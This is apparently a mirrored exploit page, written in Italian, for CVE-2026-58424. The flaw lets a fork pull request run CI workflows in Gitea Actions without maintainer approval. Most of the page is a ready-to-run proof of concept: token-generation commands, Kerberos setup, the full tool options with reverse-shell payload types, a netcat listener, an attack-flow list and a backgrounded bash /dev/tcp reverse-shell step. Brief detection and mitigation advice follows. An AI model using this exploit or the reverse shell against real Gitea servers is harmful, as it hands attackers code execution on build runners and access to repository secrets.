## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BRIDGERALDERSON-CVE-2026-58424
# CVE-2026-58424 - Bypass del gate di approvazione del workflow delle PR di fork in Gitea
> **Gravità :** Alta (CVSS 8.9) **Versioni interessate:** Gitea ≤ 1.26.2 **Corretto in:** Gitea 1.26.3 **Avviso:** GHSA-777r-4v59-6486
* * *
## Descrizione della vulnerabilitÃ
Gitea Actions applica un gate di approvazione alle esecuzioni di workflow attivate da pull request di fork. Il gate è implementato in `ifNeedApproval()` e ha lo scopo di impedire a contributori non fidati di eseguire codice arbitrario tramite le pipeline CI.
Il difetto è che `ifNeedApproval()` viene applicato correttamente solo all'evento `pull_request`. Ogni tipo di evento elencato nel blocco `on:` di un workflow produce un oggetto `ActionRun` indipendente con il proprio controllo di approvazione. Quando un attaccante amplia il blocco `on:` per includere eventi come `pull_request_review`, `issue_comment` o `pull_request_review_comment`, queste esecuzioni vengono avviate senza passare attraverso il gate di approvazione.
L'attivazione di uno qualsiasi di questi eventi non protetti - ad esempio, pubblicare un commento di review su una PR - avvia immediatamente il workflow con l'account di servizio del runner, senza richiedere l'approvazione di un maintainer.
* * *
## Causa principale
La funzione `ifNeedApproval()` verifica l'approvazione in base a `(repo_id, trigger_user_id)` per l'evento `pull_request`, ma non applica questo controllo in modo coerente a tutti i tipi di evento attivabili.
**Percorso vulnerabile:**
root@kitploit:~
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
* * *
## Requisiti
Requisito| Dettaglio
---|---
Account Gitea| Qualsiasi utente autenticato con permesso di fork
Repository target| Gitea Actions deve essere abilitato
Runner| `act_runner` deve essere online e registrato
Rete
* * *
## Utilizzo del PoC
### Installazione
root@kitploit:~
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
### Modalità di autenticazione 1 - Token API
**Tramite browser:** `Settings -> Applications -> Generate Token` Scope necessari: scrittura repository + scrittura issue.
**Tramite API:**
root@kitploit:~
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
**Esecuzione:**
root@kitploit:~
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
### Modalità di autenticazione 2 - Kerberos/Negotiate
Per istanze Gitea che accettano esclusivamente Kerberos/SPNEGO (ambienti Active Directory con SSPI obbligatorio). Deve essere eseguito da un host aggiunto al dominio con un TGT valido.
root@kitploit:~
kinit some-email@example.com
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Se la risoluzione DNS fallisce, configura `/etc/krb5.conf`:
root@kitploit:~
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
### Tutte le opzioni
root@kitploit:~
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
### Listener
root@kitploit:~
nc -lvnp 4444
* * *
## Flusso dell'attacco
root@kitploit:~
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
* * *
## Nota sul ciclo di vita del runner
Per impostazione predefinita, `act_runner` è single-worker. Se lo step della reverse shell non termina in modo pulito, il runner rimane nello stato "running" e ignora nuovi job.
Per evitare questo problema, porta la shell in background:
root@kitploit:~
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
Oppure usa `--custom-payload` per passare direttamente un one-liner daemonizzato.
* * *
## Rilevamento
* Voci `ActionRun` con `event=pull_request_review` o `event=issue_comment` provenienti da PR di fork
* File di workflow nei repository fork contenenti trigger `pull_request_review` con step di esecuzione di shell
* Connessioni in uscita inattese dall'host del runner dopo attività di review su PR
* * *
## Mitigazione
Azione| Dettaglio
---|---
Aggiornamento| Gitea 1.26.3+ corregge questo problema
Soluzione alternativa| Disabilitare Gitea Actions sui repository con contributori non fidati
Audit| Esaminare le PR di fork e le relative esecuzioni di workflow per esecuzioni inattese
Limitazione| Limitare i permessi di fork agli utenti fidati
* * *
## Riferimenti
* GHSA-777r-4v59-6486
* NVD - CVE-2026-58424
* * *
## Disclaimer
Solo per test di sicurezza e ricerca autorizzati. Non utilizzare contro sistemi senza esplicita autorizzazione scritta.